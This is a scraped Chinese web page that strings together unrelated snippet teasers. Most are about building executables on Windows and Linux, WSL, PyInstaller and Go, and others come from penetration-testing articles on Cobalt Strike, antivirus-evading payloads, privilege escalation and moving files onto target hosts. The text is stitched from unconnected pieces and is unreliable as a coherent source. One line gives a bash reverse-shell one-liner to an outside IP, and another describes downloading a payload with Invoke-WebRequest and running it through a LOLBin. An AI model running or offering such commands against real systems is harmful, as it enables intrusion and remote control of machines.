在Linux下，后台执行跟windows就有写区别了，因为，我们后台执行的程式主要是通过php.exe文件通过system来实现的，但在linux下，没有php.exe文件，但是在"/usr/bin/php“实际上就是windows里的php.exe。 所以，我们后台执行的程式可以这样修改，实用于linux和windows：
WSL是Windows Subsystem for Linux的缩写，允许利用CPU的虚拟化技术在Windows系统下使用Linux系统。目前最新版本是WSL2。
通常执行 python 程序要有相应的 Python 环境，但某些特定场景下，我们可能并不愿意这么麻烦的去配置这些环境（比如将写好的脚本发给客户进行操作），如果可以提前将程序打包成 Windows平台的 .exe 文件或者是Linux下的 .sh 脚本，那么使用起来就会方便很多，py2exe 和 PyInstaller 这两款工具都是干这么个事的，下面以 hello.py 脚本（代码内容如下）为例进行介绍。
Python是一种高级编程语言，它具有易学易用、跨平台等优点，因此在开发中得到了广泛的应用。
kali作为一个渗透测试者最受欢迎的操作系统，集成了非常多的安全工具，让渗透测试人员更方便的做一些渗透测试工作，本文来自国外某位大神的github，在这里给大家做一个分享，具体内容如下：
在很多情况下，编程人员是在Linux环境下完成的编程任务，但是更多的使用人员是在Windows环境下的，比方说，在参考链接1的文章中提到：
将Python程序打包成exe（可执行文件）的主要原因是为了便于分发和使用，同时保护代码和提升用户体验。。这个过程有几个关键优点：
这将执行InvokeWebRequest（PS v.3 +）以下载payload，使用LOLBin执行它
首先声明，除非万不得已，千万不要在Windows环境做这个事情，否则就等着各种坑吧。 本人一贯的立场都是坚持用正确的方法做事，显然在Windows搭建Jenkins这个事情本身并不那么正确。 之所以有这篇随笔，也是因为经历了各种吐血踩坑之后希望留个备忘。当然，如果此文能给阅读者带来帮助，那不胜荣幸。
Java项目要求，通过 jenkins 把 maven 工程编译打包后的SpringBoot服务部署到另一台 Linux server上中。通过通过查找发现 Windows 10 使用 scp 命令。
System 系统调用的返回值 , 在不同的系统下是不同的 , 如 Windows , Linux , Mac 的系统调用返回值不同 ;
Go 语言强大之处在于其能够快速编译为机器能识别的可执行文件，Go 语言有完整的开发体系，使其能够简单的获取包及编译。go语言编译的软件全平台通用，没必要再去给专门的平台开发相关的软件。
有关注我的朋友可能会知道我的C开发环境是：Notepad++与MinGW相结合，即用Notepad++写代码，用MinGW这个工具包中的gcc编译器进行编译。如：
这是因为缺少相应的依赖库导致的,在我们使用arm-none-linux-gnueabi时直接在命令行后面添加-static即可,但是使用arm-linux-androideabi则不行
Go语言的并发是基于 goroutine 的，goroutine 类似于线程，但并非线程。可以将 goroutine 理解为一种虚拟线程。Go 语言运行时会参与调度 goroutine，并将 goroutine 合理地分配到每个 CPU 中，最大限度地使用CPU性能。开启一个goroutine的消耗非常小（大约2KB的内存），你可以轻松创建数百万个goroutine。goroutine`的特点：
Windows Server 2022 已经支持通过命令完成默认 WSL 安装了，但是博主通过wsl --install，出来的只有 howto 的帮助信息。
本篇记录下Cobaltstrike上线windows及linux主机shell的基本操作流程。
Air 是一个开发环境下的 Go Web 应用程序自动重新加载工具。当你对你的项目进行更改并保存时，它会自动重新构建和重新加载应用程序。Air 支持 Windows、macOS 和 Linux。由于大部分小伙伴是windows系统，这里就以win10作演示。
2、为了更好的对比效果，大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。
本文章适合正在学习提权的朋友，或者准备学习提权的朋友，大佬就可以绕过了，写的比较基础。我也是一个小白，总结一下提权的姿势和利用，也分享一些自己觉得好用的方法给大家，欢迎大家帮我补充，有什么好用的提权的方法也可以分享一下，大家共同进步。本篇有自己的理解，如果有什么不对的或者不好的地方希望大家不要喷我，但是欢迎帮我指正。
pyinstaller将Python脚本打包成可执行程序，使在没有Python环境的机器上运行
建议使用 -gcflags "-N -l" 参数关闭编译器代码优化和函数 内联,避免断点和单步执行无法准确对应源码行,避免小函数和局部变量被优化掉。-o 指定存放位置。
很多人都喜欢在自己的电脑上装个双系统啥的，毕竟现在硬盘的成本是越来越低了，像明月这种老爷机都是双硬盘了，不多装个系统真心有点儿对不起它呀！前几天体验了一番 Linux Mint 19 后（可参考【Linux Mint 19 体验学习笔记】一文）感觉各种的不爽，特别是没有 QQ 和微信真心接受不了，没有想到这么多年过来了， Linux 桌面版依然还是这么的“鸡肋”，唉！
Cobalt Strike（简称“CS”）是一款团队作战渗透测试神器，分为客户端和服务端，一个服务端可以对应多个客户端，一个客户端可以连接多个服务端，集成了端口转发、服务扫描，自动化溢出，多模式端口监听，exe、powershell木马生成等。主要用来后期持久渗透、横向移动、流量隐藏、数据窃取的工具。
以往的单元测试都是不能单独作为一个独立的可执行文件跑的，需要在 VisualStudio 或 VSTest 或 dotnet test 里面运行。这就限制了运行单元测试的环境了，有时候开发者可能期望在无 SDK 或开发环境下执行单元测试，这时就可以用到本文介绍的 MSTestRunner 功能，将单元测试制作为独立可执行文件
一个项目开发完毕后总有一种想法，就是生成可执行文件，总不能一直用python xxx执行吧。
Fiddler是位于客户端和服务器端的HTTP代理，也是目前最常用的http抓包工具之一。它能够记录客户端和服务器之间的所有HTTP请求，可以针对特定的HTTP请求，分析请求数据、设置断点、调试web应用、修改请求的数据，甚至可以修改服务器返回的数据，功能非常强大，是web调试的利器。
1. WSL是什么 WSL 是Windows Subsystem for Linux 的简称，主要是为了在Windows 10上原生运行Linux二进制可执行文件（ELF格式），而提供的兼容层。 通俗来讲是在Windows10 嵌入了个Linux子系统（默认是ubuntu），方便运行大部分 Linux 命令及软件，比如grep MySQL Apache。这很大方便了使用Windows做开发的同学，不需要双系统或虚拟机了。 在Windows功能中启用```适用于Linux的Windows子系统```，然
一个MSSQL非注入的场景：在内网扫描到一个MSSQL弱口令，支持xp_cmdshell，Administrator权限，但不能出网，DNS也出不了，那么我们该如何将文件落地到目标主机并执行上线呢？
在 dotnet build 或 dotnet publish 期间，将创建一个与你使用的 SDK 的环境和平台相匹配的可执行文件。 和其他本机可执行文件一样，可以使用这些可执行文件执行相同操作，例如：
HERCULES是一个由Go语言开发的可以绕过防病毒软件的可定制的有效载荷生成器，只需简单的设置，就可以生成用于Metasploit的免杀payload，经测试，可完美绕过当前主流防病毒软件查杀检测。 Let us learn how to use it ! 测试环境： kali linux 2.0 : 192.168.1.100 windows7 x64 : 192.168.1.140 测试流程： 1.下载配置go语言环境； 2.下载初始化HERC
随着Win10 2004版本的发布，WSL2的时代也正式到来。使用过WSL的用户，都遇到过一些很不爽的问题，例如：不能直接使用docker，一些系统相关的函数不能调用，netstat命令不能使用等。这些问题在WSL2中都得到了解决，因此，是时候切换到WSL2了。
在渗透过程中，通常会需要向目标主机传送一些文件，来达到权限提升、权限维持等目的，本篇文章主要介绍一些windows和Linux下常用的文件下载方式。
Goby：bash -c 'exec bash -i &>/dev/tcp/192.168.0.133/8065 <&1'
链接：https://www.linuxmi.com/linux-novice.html
1. WSL是什么 2. WSL新特性 3. WSL管理配置 4. WSL交互 5. 解决方案 * 5.1 使用别名 * 5.2 多复制一份 * 5.3 重定向 * 5.4 symlink 6. 其他 * 6.1 闲聊 * 6.2 参考 1. WSL是什么 WSL 是Windows Subsystem for Linux 的简称，主要是为了在Windows 10上原生运行Linux二进制可执行文件（ELF格式），而提供的兼容层。 通俗来讲是在Windows10 嵌入了个Linux
这个嘛是本人专门为了NOI上面对拍程序写的对拍程序，已经经历了NOI2015的考验；更重要的是——纯Pascal的哦（HansBug：其实是我不会写.sh脚本TT，谁叫用惯了windows的我只会写bat呢）。。。（本人实测复杂度约为 \( {10}^{5} \) 的程序在windows下每秒钟约可以拍20次左右，linux下可以最高达到600次每秒哦，上次我开动程序后当我反应过来之后次数已经是四位数了么么哒，当然了如果你程序本身就复杂度过高的话那么还是没有办法，毕竟受到程序运行速度的制约）。。。 需要的可
通常会检查我的权限 ( whoami /all) 和文件系统（tree /f /a来自C:\Users目录）以获取快速获胜或有趣的文件（尤其是用户主文件夹和/或 Web 目录）。如果没有找到任何东西，就会运行一个类似winPEAS.exe来识别任何漏洞。在枚举结果中查找的内容：
版权声明：本文为博主原创文章，未经博主允许不得转载。 https://blog.csdn.net/hotqin888/article/details/79588773
PEAS-ng 是一款适用于 Windows 和 Linux/Unix* 和 MacOS 的权限提升工具。
为什么要生成可执行文件： 不需要安装对应的编程环境 可以将你的应用闭源 用户可以方便、快捷的直接使用 打包工具 pyinstaller
我们日常测试中，有时候有些辅助程序文件比如一些配置文件需要放在主程序执行文件同样的位置，便于管理和调用，这时候我们就需要获取执行文件的绝对路径。
提权Webshell：尽量能够获取webshell，如果获取不到webshell可以在有文件上传的地方上传反弹shell脚本；或者利用漏洞（系统漏洞，服务器漏洞，第三方软件漏洞，数据库漏洞）来获取shell。
Go（又称Golang）是Google开发的一种静态强类型、编译型、并发型，并具有垃圾回收功能的编程语言。
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
ICP备案
对象存储
即时通信 IM
实时音视频
